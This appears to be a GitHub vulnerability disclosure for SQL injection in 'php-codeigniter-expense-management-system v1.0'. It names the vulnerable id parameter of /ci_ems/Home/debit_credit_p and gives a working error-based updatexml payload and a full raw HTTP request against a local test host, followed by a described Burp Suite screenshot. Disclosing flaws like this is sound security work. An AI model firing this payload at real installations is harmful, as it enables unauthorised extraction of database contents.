

main ▾

...

[0724](#) / [ci_ems](#) / [sql.md](#)

mikeccltt Update sql.md

[History](#)[1](#) contributor

31 lines (20 sloc) | 1.07 KB

...

php-codeigniter-expense-management-system v1.0 has SQL injection

vendors: <https://www.sourcecodester.com/php-codeigniter-expense-management-system-source-code>

Date: 2022-07-24

Vulnerability File: /ci_ems/Home/debit_credit_p

Vulnerability location: /ci_ems/Home/debit_credit_p?id=18, id









[+] Payload: id=18'+and++updatexml(1,concat(0x7e,(select+database()),0x7e),0)--+

Tested on Windows 10, XAMPP

```
GET /ci_ems/Home/debit_credit_p?id=18'+and++updatexml(1,concat(0x7e,
(select+database()),0x7e),0)--+ HTTP/1.1
Host: 172.20.10.13
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101
Firefox/97.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
```

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://172.20.10.13/ci_ems/Home/view_clients
Cookie: PHPSESSID=hs2g511lgmlikit3icuq6kf4an;
ci_session=a7e1tk4u5ih48n1d88etb314b7gv37qn
Upgrade-Insecure-Requests: 1

The image shows a Burp Suite interface on the left and a web browser on the right. The Burp Suite 'History' tab displays a list of HTTP requests. The selected request is a GET request to `/ci_ems/Home/view_clients` with a status of 200 and a content type of HTML. The 'Request' tab shows the raw HTTP request, including headers and body. The browser on the right displays the 'Client Management' page, which shows a table of clients with columns for Name, Mobile, Gender, Address, and Actions. The table contains 5 entries, and the page indicates there are 1 to 5 of 296 entries in total.

#	Name	Mobile	Gender	Address	Actions
1	Mark Cooper	0912365478	Male	Lot 23, Block 6, Sample St.	 
2	asd	455	Female	asd	 
3	asd	455	Female	asd	 
4	asd	455	Female	asd	 
5	asd	455	Female	asd	